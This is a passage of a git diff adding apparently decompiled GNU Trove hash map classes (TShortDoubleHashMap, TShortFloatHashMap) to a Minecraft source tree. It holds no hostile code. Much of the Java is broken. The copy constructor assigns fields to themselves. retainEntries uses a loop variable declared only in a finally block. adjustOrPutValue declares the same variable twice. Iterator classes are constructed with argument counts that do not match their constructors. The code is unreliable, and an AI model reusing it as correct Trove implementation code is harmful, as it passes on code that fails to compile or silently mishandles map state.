+      if (this == collection) {
+        clear();
+        return true;
+      }
+      boolean changed = false;
+      TShortIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        short element = iter.next();
+        if (remove(element)) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(short[] array)
+    {
+      boolean changed = false;
+      for (int i = array.length; i-- > 0;) {
+        if (remove(array[i])) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public void clear()
+    {
+      TShortDoubleHashMap.this.clear();
+    }
+    
+
+    public boolean forEach(TShortProcedure procedure)
+    {
+      return forEachKey(procedure);
+    }
+    
+
+    public boolean equals(Object other)
+    {
+      if (!(other instanceof TShortSet)) {
+        return false;
+      }
+      TShortSet that = (TShortSet)other;
+      if (that.size() != size()) {
+        return false;
+      }
+      for (int i = _states.length; i-- > 0;) {
+        if ((_states[i] == 1) && 
+          (!that.contains(_set[i]))) {
+          return false;
+        }
+      }
+      
+      return true;
+    }
+    
+
+    public int hashCode()
+    {
+      int hashcode = 0;
+      for (int i = _states.length; i-- > 0;) {
+        if (_states[i] == 1) {
+          hashcode += HashFunctions.hash(_set[i]);
+        }
+      }
+      return hashcode;
+    }
+    
+
+    public String toString()
+    {
+      final StringBuilder buf = new StringBuilder("{");
+      forEachKey(new TShortProcedure() {
+        private boolean first = true;
+        
+        public boolean execute(short key)
+        {
+          if (first) {
+            first = false;
+          } else {
+            buf.append(",");
+          }
+          
+          buf.append(key);
+          return true;
+        }
+      });
+      buf.append("}");
+      return buf.toString();
+    }
+  }
+  
+  protected class TValueView implements TDoubleCollection
+  {
+    protected TValueView() {}
+    
+    public TDoubleIterator iterator()
+    {
+      return new TShortDoubleHashMap.TShortDoubleValueHashIterator(TShortDoubleHashMap.this, TShortDoubleHashMap.this);
+    }
+    
+
+    public double getNoEntryValue()
+    {
+      return no_entry_value;
+    }
+    
+
+    public int size()
+    {
+      return _size;
+    }
+    
+
+    public boolean isEmpty()
+    {
+      return 0 == _size;
+    }
+    
+
+    public boolean contains(double entry)
+    {
+      return containsValue(entry);
+    }
+    
+
+    public double[] toArray()
+    {
+      return values();
+    }
+    
+
+    public double[] toArray(double[] dest)
+    {
+      return values(dest);
+    }
+    
+
+    public boolean add(double entry)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean remove(double entry)
+    {
+      double[] values = _values;
+      short[] set = _set;
+      
+      for (int i = values.length; i-- > 0;) {
+        if ((set[i] != 0) && (set[i] != 2) && (entry == values[i])) {
+          removeAt(i);
+          return true;
+        }
+      }
+      return false;
+    }
+    
+
+    public boolean containsAll(Collection<?> collection)
+    {
+      for (Object element : collection) {
+        if ((element instanceof Double)) {
+          double ele = ((Double)element).doubleValue();
+          if (!containsValue(ele)) {
+            return false;
+          }
+        } else {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(TDoubleCollection collection)
+    {
+      TDoubleIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        if (!containsValue(iter.next())) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(double[] array)
+    {
+      for (double element : array) {
+        if (!containsValue(element)) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean addAll(Collection<? extends Double> collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean addAll(TDoubleCollection collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean addAll(double[] array)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+    public boolean retainAll(Collection<?> collection)
+    {
+      boolean modified = false;
+      TDoubleIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(Double.valueOf(iter.next()))) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(TDoubleCollection collection)
+    {
+      if (this == collection) {
+        return false;
+      }
+      boolean modified = false;
+      TDoubleIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(iter.next())) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(double[] array)
+    {
+      boolean changed = false;
+      Arrays.sort(array);
+      double[] values = _values;
+      byte[] states = _states;
+      
+      for (int i = values.length; i-- > 0;) {
+        if ((states[i] == 1) && (Arrays.binarySearch(array, values[i]) < 0)) {
+          removeAt(i);
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(Collection<?> collection)
+    {
+      boolean changed = false;
+      for (Object element : collection) {
+        if ((element instanceof Double)) {
+          double c = ((Double)element).doubleValue();
+          if (remove(c)) {
+            changed = true;
+          }
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(TDoubleCollection collection)
+    {
+      if (this == collection) {
+        clear();
+        return true;
+      }
+      boolean changed = false;
+      TDoubleIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        double element = iter.next();
+        if (remove(element)) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(double[] array)
+    {
+      boolean changed = false;
+      for (int i = array.length; i-- > 0;) {
+        if (remove(array[i])) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public void clear()
+    {
+      TShortDoubleHashMap.this.clear();
+    }
+    
+
+    public boolean forEach(TDoubleProcedure procedure)
+    {
+      return forEachValue(procedure);
+    }
+    
+
+
+    public String toString()
+    {
+      final StringBuilder buf = new StringBuilder("{");
+      forEachValue(new TDoubleProcedure() {
+        private boolean first = true;
+        
+        public boolean execute(double value) {
+          if (first) {
+            first = false;
+          } else {
+            buf.append(",");
+          }
+          
+          buf.append(value);
+          return true;
+        }
+      });
+      buf.append("}");
+      return buf.toString();
+    }
+  }
+  
+
+
+
+  class TShortDoubleKeyHashIterator
+    extends THashPrimitiveIterator
+    implements TShortIterator
+  {
+    TShortDoubleKeyHashIterator(TPrimitiveHash hash)
+    {
+      super();
+    }
+    
+    public short next()
+    {
+      moveToNextIndex();
+      return _set[_index];
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+
+
+  class TShortDoubleValueHashIterator
+    extends THashPrimitiveIterator
+    implements TDoubleIterator
+  {
+    TShortDoubleValueHashIterator(TPrimitiveHash hash)
+    {
+      super();
+    }
+    
+    public double next()
+    {
+      moveToNextIndex();
+      return _values[_index];
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+
+  class TShortDoubleHashIterator
+    extends THashPrimitiveIterator
+    implements TShortDoubleIterator
+  {
+    TShortDoubleHashIterator(TShortDoubleHashMap map)
+    {
+      super();
+    }
+    
+    public void advance()
+    {
+      moveToNextIndex();
+    }
+    
+    public short key()
+    {
+      return _set[_index];
+    }
+    
+    public double value()
+    {
+      return _values[_index];
+    }
+    
+    public double setValue(double val)
+    {
+      double old = value();
+      _values[_index] = val;
+      return old;
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+  public boolean equals(Object other)
+  {
+    if (!(other instanceof TShortDoubleMap)) {
+      return false;
+    }
+    TShortDoubleMap that = (TShortDoubleMap)other;
+    if (that.size() != size()) {
+      return false;
+    }
+    double[] values = _values;
+    byte[] states = _states;
+    double this_no_entry_value = getNoEntryValue();
+    double that_no_entry_value = that.getNoEntryValue();
+    for (int i = values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        short key = _set[i];
+        double that_value = that.get(key);
+        double this_value = values[i];
+        if ((this_value != that_value) && (this_value != this_no_entry_value) && (that_value != that_no_entry_value))
+        {
+
+          return false;
+        }
+      }
+    }
+    return true;
+  }
+  
+
+
+  public int hashCode()
+  {
+    int hashcode = 0;
+    byte[] states = _states;
+    for (int i = _values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        hashcode += (HashFunctions.hash(_set[i]) ^ HashFunctions.hash(_values[i]));
+      }
+    }
+    
+    return hashcode;
+  }
+  
+
+
+  public String toString()
+  {
+    final StringBuilder buf = new StringBuilder("{");
+    forEachEntry(new TShortDoubleProcedure() {
+      private boolean first = true;
+      
+      public boolean execute(short key, double value) { if (first) first = false; else {
+          buf.append(",");
+        }
+        buf.append(key);
+        buf.append("=");
+        buf.append(value);
+        return true;
+      }
+    });
+    buf.append("}");
+    return buf.toString();
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    super.writeExternal(out);
+    
+
+    out.writeInt(_size);
+    
+
+    for (int i = _states.length; i-- > 0;) {
+      if (_states[i] == 1) {
+        out.writeShort(_set[i]);
+        out.writeDouble(_values[i]);
+      }
+    }
+  }
+  
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    super.readExternal(in);
+    
+
+    int size = in.readInt();
+    setUp(size);
+    
+
+    while (size-- > 0) {
+      short key = in.readShort();
+      double val = in.readDouble();
+      put(key, val);
+    }
+  }
+}
diff --git a/src/minecraft/gnu/trove/map/hash/TShortFloatHashMap.java b/src/minecraft/gnu/trove/map/hash/TShortFloatHashMap.java
new file mode 100644
index 0000000..f3cf5bf
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/hash/TShortFloatHashMap.java
@@ -0,0 +1,1293 @@
+package gnu.trove.map.hash;
+
+import gnu.trove.TFloatCollection;
+import gnu.trove.TShortCollection;
+import gnu.trove.function.TFloatFunction;
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.impl.hash.THashPrimitiveIterator;
+import gnu.trove.impl.hash.TPrimitiveHash;
+import gnu.trove.impl.hash.TShortFloatHash;
+import gnu.trove.iterator.TFloatIterator;
+import gnu.trove.iterator.TShortFloatIterator;
+import gnu.trove.iterator.TShortIterator;
+import gnu.trove.map.TShortFloatMap;
+import gnu.trove.procedure.TFloatProcedure;
+import gnu.trove.procedure.TShortFloatProcedure;
+import gnu.trove.procedure.TShortProcedure;
+import gnu.trove.set.TShortSet;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.ConcurrentModificationException;
+import java.util.Map;
+import java.util.Map.Entry;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TShortFloatHashMap
+  extends TShortFloatHash
+  implements TShortFloatMap, Externalizable
+{
+  static final long serialVersionUID = 1L;
+  protected transient float[] _values;
+  
+  public TShortFloatHashMap() {}
+  
+  public TShortFloatHashMap(int initialCapacity)
+  {
+    super(initialCapacity);
+  }
+  
+
+
+
+
+
+
+
+
+  public TShortFloatHashMap(int initialCapacity, float loadFactor)
+  {
+    super(initialCapacity, loadFactor);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public TShortFloatHashMap(int initialCapacity, float loadFactor, short noEntryKey, float noEntryValue)
+  {
+    super(initialCapacity, loadFactor, noEntryKey, noEntryValue);
+  }
+  
+
+
+
+
+
+
+
+  public TShortFloatHashMap(short[] keys, float[] values)
+  {
+    super(Math.max(keys.length, values.length));
+    
+    int size = Math.min(keys.length, values.length);
+    for (int i = 0; i < size; i++) {
+      put(keys[i], values[i]);
+    }
+  }
+  
+
+
+
+
+
+
+  public TShortFloatHashMap(TShortFloatMap map)
+  {
+    super(map.size());
+    if ((map instanceof TShortFloatHashMap)) {
+      TShortFloatHashMap hashmap = (TShortFloatHashMap)map;
+      _loadFactor = _loadFactor;
+      no_entry_key = no_entry_key;
+      no_entry_value = no_entry_value;
+      
+      if (no_entry_key != 0) {
+        Arrays.fill(_set, no_entry_key);
+      }
+      
+      if (no_entry_value != 0.0F) {
+        Arrays.fill(_values, no_entry_value);
+      }
+      setUp((int)Math.ceil(10.0F / _loadFactor));
+    }
+    putAll(map);
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    _values = new float[capacity];
+    return capacity;
+  }
+  
+
+
+
+
+
+
+  protected void rehash(int newCapacity)
+  {
+    int oldCapacity = _set.length;
+    short[] oldKeys = _set;
+    float[] oldVals = _values;
+    byte[] oldStates = _states;
+    
+    _set = new short[newCapacity];
+    _values = new float[newCapacity];
+    _states = new byte[newCapacity];
+    
+    for (int i = oldCapacity; i-- > 0;) {
+      if (oldStates[i] == 1) {
+        short o = oldKeys[i];
+        int index = insertionIndex(o);
+        _set[index] = o;
+        _values[index] = oldVals[i];
+        _states[index] = 1;
+      }
+    }
+  }
+  
+
+  public float put(short key, float value)
+  {
+    int index = insertionIndex(key);
+    return doPut(key, value, index);
+  }
+  
+
+  public float putIfAbsent(short key, float value)
+  {
+    int index = insertionIndex(key);
+    if (index < 0)
+      return _values[(-index - 1)];
+    return doPut(key, value, index);
+  }
+  
+
+  private float doPut(short key, float value, int index)
+  {
+    float previous = no_entry_value;
+    boolean isNewMapping = true;
+    if (index < 0) {
+      index = -index - 1;
+      previous = _values[index];
+      isNewMapping = false;
+    }
+    byte previousState = _states[index];
+    _set[index] = key;
+    _states[index] = 1;
+    _values[index] = value;
+    if (isNewMapping) {
+      postInsertHook(previousState == 0);
+    }
+    
+    return previous;
+  }
+  
+
+  public void putAll(Map<? extends Short, ? extends Float> map)
+  {
+    ensureCapacity(map.size());
+    
+    for (Map.Entry<? extends Short, ? extends Float> entry : map.entrySet()) {
+      put(((Short)entry.getKey()).shortValue(), ((Float)entry.getValue()).floatValue());
+    }
+  }
+  
+
+  public void putAll(TShortFloatMap map)
+  {
+    ensureCapacity(map.size());
+    TShortFloatIterator iter = map.iterator();
+    while (iter.hasNext()) {
+      iter.advance();
+      put(iter.key(), iter.value());
+    }
+  }
+  
+
+  public float get(short key)
+  {
+    int index = index(key);
+    return index < 0 ? no_entry_value : _values[index];
+  }
+  
+
+  public void clear()
+  {
+    super.clear();
+    Arrays.fill(_set, 0, _set.length, no_entry_key);
+    Arrays.fill(_values, 0, _values.length, no_entry_value);
+    Arrays.fill(_states, 0, _states.length, (byte)0);
+  }
+  
+
+  public boolean isEmpty()
+  {
+    return 0 == _size;
+  }
+  
+
+  public float remove(short key)
+  {
+    float prev = no_entry_value;
+    int index = index(key);
+    if (index >= 0) {
+      prev = _values[index];
+      removeAt(index);
+    }
+    return prev;
+  }
+  
+
+  public void removeAt(int index)
+  {
+    _values[index] = no_entry_value;
+    super.removeAt(index);
+  }
+  
+
+  public TShortSet keySet()
+  {
+    return new TKeyView();
+  }
+  
+
+  public short[] keys()
+  {
+    short[] keys = new short[size()];
+    short[] k = _set;
+    byte[] states = _states;
+    
+    int i = k.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        keys[(j++)] = k[i];
+      }
+    }
+    return keys;
+  }
+  
+
+  public short[] keys(short[] array)
+  {
+    int size = size();
+    if (array.length < size) {
+      array = new short[size];
+    }
+    
+    short[] keys = _set;
+    byte[] states = _states;
+    
+    int i = keys.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        array[(j++)] = keys[i];
+      }
+    }
+    return array;
+  }
+  
+
+  public TFloatCollection valueCollection()
+  {
+    return new TValueView();
+  }
+  
+
+  public float[] values()
+  {
+    float[] vals = new float[size()];
+    float[] v = _values;
+    byte[] states = _states;
+    
+    int i = v.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        vals[(j++)] = v[i];
+      }
+    }
+    return vals;
+  }
+  
+
+  public float[] values(float[] array)
+  {
+    int size = size();
+    if (array.length < size) {
+      array = new float[size];
+    }
+    
+    float[] v = _values;
+    byte[] states = _states;
+    
+    int i = v.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        array[(j++)] = v[i];
+      }
+    }
+    return array;
+  }
+  
+
+  public boolean containsValue(float val)
+  {
+    byte[] states = _states;
+    float[] vals = _values;
+    
+    for (int i = vals.length; i-- > 0;) {
+      if ((states[i] == 1) && (val == vals[i])) {
+        return true;
+      }
+    }
+    return false;
+  }
+  
+
+  public boolean containsKey(short key)
+  {
+    return contains(key);
+  }
+  
+
+  public TShortFloatIterator iterator()
+  {
+    return new TShortFloatHashIterator(this);
+  }
+  
+
+  public boolean forEachKey(TShortProcedure procedure)
+  {
+    return forEach(procedure);
+  }
+  
+
+  public boolean forEachValue(TFloatProcedure procedure)
+  {
+    byte[] states = _states;
+    float[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(values[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public boolean forEachEntry(TShortFloatProcedure procedure)
+  {
+    byte[] states = _states;
+    short[] keys = _set;
+    float[] values = _values;
+    for (int i = keys.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(keys[i], values[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public void transformValues(TFloatFunction function)
+  {
+    byte[] states = _states;
+    float[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        values[i] = function.execute(values[i]);
+      }
+    }
+  }
+  
+
+  public boolean retainEntries(TShortFloatProcedure procedure)
+  {
+    boolean modified = false;
+    byte[] states = _states;
+    short[] keys = _set;
+    float[] values = _values;
+    
+
+
+    tempDisableAutoCompaction();
+    try {
+      for (i = keys.length; i-- > 0;) {
+        if ((states[i] == 1) && (!procedure.execute(keys[i], values[i]))) {
+          removeAt(i);
+          modified = true;
+        }
+      }
+    } finally {
+      int i;
+      reenableAutoCompaction(true);
+    }
+    
+    return modified;
+  }
+  
+
+  public boolean increment(short key)
+  {
+    return adjustValue(key, 1.0F);
+  }
+  
+
+  public boolean adjustValue(short key, float amount)
+  {
+    int index = index(key);
+    if (index < 0) {
+      return false;
+    }
+    _values[index] += amount;
+    return true;
+  }
+  
+
+
+  public float adjustOrPutValue(short key, float adjust_amount, float put_amount)
+  {
+    int index = insertionIndex(key);
+    boolean isNewMapping;
+    float newValue;
+    boolean isNewMapping; if (index < 0) {
+      index = -index - 1;
+      float newValue = _values[index] += adjust_amount;
+      isNewMapping = false;
+    } else {
+      newValue = _values[index] = put_amount;
+      isNewMapping = true;
+    }
+    
+    byte previousState = _states[index];
+    _set[index] = key;
+    _states[index] = 1;
+    
+    if (isNewMapping) {
+      postInsertHook(previousState == 0);
+    }
+    
+    return newValue;
+  }
+  
+  protected class TKeyView implements TShortSet
+  {
+    protected TKeyView() {}
+    
+    public TShortIterator iterator()
+    {
+      return new TShortFloatHashMap.TShortFloatKeyHashIterator(TShortFloatHashMap.this, TShortFloatHashMap.this);
+    }
+    
+
+    public short getNoEntryValue()
+    {
+      return no_entry_key;
+    }
+    
+
+    public int size()
+    {
+      return _size;
+    }
+    
+
+    public boolean isEmpty()
+    {
+      return 0 == _size;
+    }
+    
+
+    public boolean contains(short entry)
+    {
+      return TShortFloatHashMap.this.contains(entry);
+    }
+    
+
+    public short[] toArray()
+    {
+      return keys();
+    }
+    
+
+    public short[] toArray(short[] dest)
+    {
+      return keys(dest);
+    }
+    
+
+
+
+
+
+    public boolean add(short entry)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean remove(short entry)
+    {
+      return no_entry_value != remove(entry);
+    }
+    
+
+    public boolean containsAll(Collection<?> collection)
+    {
+      for (Object element : collection) {
+        if ((element instanceof Short)) {
+          short ele = ((Short)element).shortValue();
+          if (!containsKey(ele)) {
+            return false;
+          }
+        } else {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(TShortCollection collection)
+    {
+      TShortIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        if (!containsKey(iter.next())) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(short[] array)
+    {
+      for (short element : array) {
+        if (!TShortFloatHashMap.this.contains(element)) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+
+
+
+
+    public boolean addAll(Collection<? extends Short> collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+
+
+
+    public boolean addAll(TShortCollection collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+
+
+
+    public boolean addAll(short[] array)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+    public boolean retainAll(Collection<?> collection)
+    {
+      boolean modified = false;
+      TShortIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(Short.valueOf(iter.next()))) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(TShortCollection collection)
+    {
+      if (this == collection) {
+        return false;
+      }
+      boolean modified = false;
+      TShortIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(iter.next())) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(short[] array)
+    {
+      boolean changed = false;
+      Arrays.sort(array);
+      short[] set = _set;
+      byte[] states = _states;
+      
+      for (int i = set.length; i-- > 0;) {
+        if ((states[i] == 1) && (Arrays.binarySearch(array, set[i]) < 0)) {
+          removeAt(i);
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(Collection<?> collection)
+    {
+      boolean changed = false;
+      for (Object element : collection) {
+        if ((element instanceof Short)) {
+          short c = ((Short)element).shortValue();
+          if (remove(c)) {
+            changed = true;
+          }
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(TShortCollection collection)
+    {
+      if (this == collection) {
+        clear();
+        return true;
+      }
+      boolean changed = false;
+      TShortIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        short element = iter.next();
+        if (remove(element)) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(short[] array)
+    {
+      boolean changed = false;
+      for (int i = array.length; i-- > 0;) {
+        if (remove(array[i])) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public void clear()
+    {
+      TShortFloatHashMap.this.clear();
+    }
+    
+
+    public boolean forEach(TShortProcedure procedure)
+    {
+      return forEachKey(procedure);
+    }
+    
+
+    public boolean equals(Object other)
+    {
+      if (!(other instanceof TShortSet)) {
+        return false;
+      }
+      TShortSet that = (TShortSet)other;
+      if (that.size() != size()) {
+        return false;
+      }
+      for (int i = _states.length; i-- > 0;) {
+        if ((_states[i] == 1) && 
+          (!that.contains(_set[i]))) {
+          return false;
+        }
+      }
+      
+      return true;
+    }
+    
+
+    public int hashCode()
+    {
+      int hashcode = 0;
+      for (int i = _states.length; i-- > 0;) {
+        if (_states[i] == 1) {
+          hashcode += HashFunctions.hash(_set[i]);
+        }
+      }
+      return hashcode;
+    }
+    
+
+    public String toString()
+    {
+      final StringBuilder buf = new StringBuilder("{");
+      forEachKey(new TShortProcedure() {
+        private boolean first = true;
+        
+        public boolean execute(short key)
+        {
+          if (first) {
+            first = false;
+          } else {
+            buf.append(",");
+          }
+          
+          buf.append(key);
+          return true;
+        }
+      });
+      buf.append("}");
+      return buf.toString();
+    }
+  }
+  
+  protected class TValueView implements TFloatCollection
+  {
+    protected TValueView() {}
+    
+    public TFloatIterator iterator()
+    {
+      return new TShortFloatHashMap.TShortFloatValueHashIterator(TShortFloatHashMap.this, TShortFloatHashMap.this);
+    }
+    
+
+    public float getNoEntryValue()
+    {
+      return no_entry_value;
+    }
+    
+
+    public int size()
+    {
+      return _size;
+    }
+    
+
+    public boolean isEmpty()
+    {
+      return 0 == _size;
+    }
+    
+
+    public boolean contains(float entry)
+    {
+      return containsValue(entry);
+    }
+    
+
+    public float[] toArray()
+    {
+      return values();
+    }
+    
+
+    public float[] toArray(float[] dest)
+    {
+      return values(dest);
+    }
+    
+
+    public boolean add(float entry)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean remove(float entry)
+    {
+      float[] values = _values;
+      short[] set = _set;
+      
+      for (int i = values.length; i-- > 0;) {
+        if ((set[i] != 0) && (set[i] != 2) && (entry == values[i])) {
+          removeAt(i);
+          return true;
+        }
+      }
+      return false;
+    }
+    
+
+    public boolean containsAll(Collection<?> collection)
+    {
+      for (Object element : collection) {
+        if ((element instanceof Float)) {
+          float ele = ((Float)element).floatValue();
+          if (!containsValue(ele)) {
+            return false;
+          }
+        } else {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(TFloatCollection collection)
+    {
+      TFloatIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        if (!containsValue(iter.next())) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(float[] array)
+    {
+      for (float element : array) {
+        if (!containsValue(element)) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean addAll(Collection<? extends Float> collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean addAll(TFloatCollection collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean addAll(float[] array)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+    public boolean retainAll(Collection<?> collection)
+    {
+      boolean modified = false;
+      TFloatIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(Float.valueOf(iter.next()))) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(TFloatCollection collection)
+    {
+      if (this == collection) {
+        return false;
+      }
+      boolean modified = false;
+      TFloatIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(iter.next())) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(float[] array)
+    {
+      boolean changed = false;
+      Arrays.sort(array);
+      float[] values = _values;
+      byte[] states = _states;
+      
+      for (int i = values.length; i-- > 0;) {
+        if ((states[i] == 1) && (Arrays.binarySearch(array, values[i]) < 0)) {
+          removeAt(i);
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(Collection<?> collection)
+    {
+      boolean changed = false;
+      for (Object element : collection) {
+        if ((element instanceof Float)) {
+          float c = ((Float)element).floatValue();
+          if (remove(c)) {
+            changed = true;
+          }
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(TFloatCollection collection)
+    {
+      if (this == collection) {
+        clear();
+        return true;
+      }
+      boolean changed = false;
+      TFloatIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        float element = iter.next();
+        if (remove(element)) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(float[] array)
+    {
+      boolean changed = false;
+      for (int i = array.length; i-- > 0;) {
+        if (remove(array[i])) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public void clear()
+    {
+      TShortFloatHashMap.this.clear();
+    }
+    
+
+    public boolean forEach(TFloatProcedure procedure)
+    {
+      return forEachValue(procedure);
+    }
+    
+
+
+    public String toString()
+    {
+      final StringBuilder buf = new StringBuilder("{");
+      forEachValue(new TFloatProcedure() {
+        private boolean first = true;
+        
+        public boolean execute(float value) {
+          if (first) {
+            first = false;
+          } else {
+            buf.append(",");
+          }
+          
+          buf.append(value);
+          return true;
+        }
+      });
+      buf.append("}");
+      return buf.toString();
+    }
+  }
+  
+
+
+
+  class TShortFloatKeyHashIterator
+    extends THashPrimitiveIterator
+    implements TShortIterator
+  {
+    TShortFloatKeyHashIterator(TPrimitiveHash hash)
+    {
+      super();
+    }
+    
+    public short next()
+    {
+      moveToNextIndex();
+      return _set[_index];
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+
+
+  class TShortFloatValueHashIterator
+    extends THashPrimitiveIterator
+    implements TFloatIterator
+  {
+    TShortFloatValueHashIterator(TPrimitiveHash hash)
+    {
+      super();
+    }
+    
+    public float next()
+    {
+      moveToNextIndex();
+      return _values[_index];
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+
+  class TShortFloatHashIterator
+    extends THashPrimitiveIterator
+    implements TShortFloatIterator
+  {
+    TShortFloatHashIterator(TShortFloatHashMap map)
+    {
+      super();
+    }
+    
+    public void advance()
+    {
+      moveToNextIndex();
+    }
+    
+    public short key()
+    {
+      return _set[_index];
+    }
+    
+    public float value()
+    {
+      return _values[_index];
+    }
+    
+    public float setValue(float val)
+    {
+      float old = value();
+      _values[_index] = val;
+      return old;
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
